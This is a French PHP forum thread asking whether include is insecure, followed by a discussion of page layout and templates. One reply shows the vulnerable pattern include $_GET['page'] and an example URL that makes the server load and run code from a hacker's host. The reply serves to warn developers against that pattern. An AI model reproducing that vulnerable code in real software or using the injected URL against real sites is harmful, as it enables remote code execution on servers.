8792 sujets

Développement web côté serveur, CMS

Voilla, j'ai découper ma page en 3 partie avec la fonction include..tout marche tres bien et c'est tres pratique mais,
je vient de lire un article qui dis que la fonction include n'est pas sécurisé, apparament il y a des trous de sécurité..


je voudrait savoir;
sont elles importante les trou de securité?
ca pourrait porvoquer quel genre de degats, perte de fichiers,..?
comment resoudre ce petit probleme ?


MERCI D'AVANACE A TOUS !!
++
Modifié par ghijselinck (15 Aug 2005 - 18:47)
A ma connaissance la seule question de sécurité pouvant se poser avec "include" de php existe quand on réalise l'inclusion d'un fichier non interptété (donc ne portant pas l'extension .php).

Typiquement il s'agit d'un fichier portant l'extension .inc, qui devient donc accessible à tout le monde pour autant que son existence soit signalée aux internautes (ce pourra être le cas avec un message d'erreur en cas de dysfonctionnement d'un script ou de MySql par exemple).
Le problème vient des gens qui appellent leurs pages comme ceci par exemple :
index.php?page=blog.php
et qui traite ça comme ceci :
include $_GET['page'];
Ca marche mais si quelqu'un tape
index.php?page=http://maPageDeHacker.com
la page "maPagedeHacker.com" va être téléchargée et exécutée sur TON serveur... pouvant causer des dégats.

Il n'y a aucun problème de sécurité si l'on fait preuve de bon sens.

Voir par exemple cet article très complet de ExpReg.com => Include : gouffre ou fêlure ?
Modifié par 84mickael (11 Aug 2005 - 12:22)
Modérateur
Un petit [Résolu] dans le titre de ton sujet. Tu peux lire comment faire ca en consultant la FAQ.

Merci. Smiley smile
Modifié par Merkel (11 Aug 2005 - 13:06)
En effet, 84mickael, je n'avais pas pensé à cette méthode, que je n'utilise pas et qui ne me semble pas excellente.

Quelle sorte d'avantages peut-elle présenter ?
jcm a écrit :
En effet, 84mickael, je n'avais pas pensé à cette méthode, que je n'utilise pas et qui ne me semble pas excellente.

Quelle sorte d'avantages peut-elle présenter ?
La méthode décrite sur mon lien ?
Et bien moi je la trouve efficace, il y en a d'autres. En étant un peu logique il y a peu de chances de se faire hacker à cause de ça. Comment fais-tu toi ?

Il y a 2 possibilités :
- une seule page qui appelle un contenu différent
Haut de la page
include 'Contenu de la page';
Bas de la page
- des pages différents qui appelent le haut et le bas de page
include 'Haut de la page';
contenu
include 'Bas de la page';


Personnellement j'utilise plutôt la 2ème solution, aucun risque de sécurité, et c'est plus propre au niveau de l'URL. Quoiqu'avec l'URL Rewriting on n'a plus ce problème maintenant, mais ça n'est pas supporté par tous les hébergeurs me semble-t-il (je pense à Free...?).

Et puis maintenant que j'utilise un système de templates (PHPLib), je n'emploie plus d'include pour la mise en page. Voilà à quoi ressemble mes pages.
//fichier qui crée des constantes, inclue des fichiers de fonctions, classes et qui initialiste le template
include 'init.inc.php';

//initialisation des variables

//j'indique ensuite quelques pages le templates doit utiliser et dans quel ordre
- HautDePage.tpl
- Contenu.tpl
- Bas de page.tpl

//les fichiers sont parsés dans l'ordre indiqué, c'est à dire que les variables initialisés plus haut s'inscrivent dans les pages

//affichage
Voilà c'est très schématique, les templates sont un concept assez simple à comprendre et c'est bougrement efficace pour séparer données et présentation.

Apparemment utiliser XML/XSLT serait encore mieux sur certains points, mais je n'ai pas encore appris ce langage.

D'après le livre PHP5 avancé 2e édition (Eyrolles) :

Mélange PHP/HTML => 7/10
* Simplicité/graphiste : 7/10
* Simplicité/développeur : 9/10
* Pérennité : 3/10
* Performances : 10/10
* Fonctionnalités : 6/10
* Indépendance logique/présentation : 7/10

Templates "search&replace" (comme PHPLib que j'utilise) => 7.33/10
* Simplicité/graphiste : 9/10
* Simplicité/développeur : 8/10
* Pérennité : 6/10
* Performances : 7/10
* Fonctionnalités : 6/10
* Indépendance logique/présentation : 8/10

XML/XSLT => 7.5/10
* Simplicité/graphiste : 4/10
* Simplicité/développeur : 7/10
* Pérennité : 9/10
* Performances : 6/10
* Fonctionnalités : 9/10
* Indépendance logique/présentation : 10/10

Je m'éloigne un peu du sujet mais c'était pour montrer un peu les différentes façon de créer une page dynamique.
Modifié par 84mickael (12 Aug 2005 - 11:09)
Merci de ta réponse.

Je suis en général dans ce cas :

84mickael a écrit :
.. . . . . - des pages différents qui appelent le haut et le bas de page
include 'Haut de la page';
contenu
include 'Bas de la page';



Mais je préfère en fait des url en clair et significatives (prises en compte par les moteurs de recherche) et sans url rewriting (je maîtrise mal, en fait je ne me suis jamais plongé là dedans).

Je tends plutôt vers une certaine automatisation, ce qui me conduit à faire une "page" contenant uniquement des appels à des éléments (haut, centre, bas, menu...) et cette page contient donc uniquement ceci :


<?php
include("lala.php");
include("lili.php";
include("lolo.php");
etc ...
?>


Un système de gestion pour la création de pages permet la saisie des contenus qui sont mis en base de données, et lors du "submit" de cette page de saisie le fichier contenant ces "include" est copié et la copie placée dans le répertoire approprié (par exemple un répertoire par langue), nommée avec l'url significatif saisi sur la page de création.

Un script génère les menus et sous menus, et voilà.

Chaque "include" cité plus haut peut également appeler d'autres fichiers (autres "include") dans les cas ou certaines conditions doivent être remplies.

Mais tout cela reste très transparent pour le visiteur du site.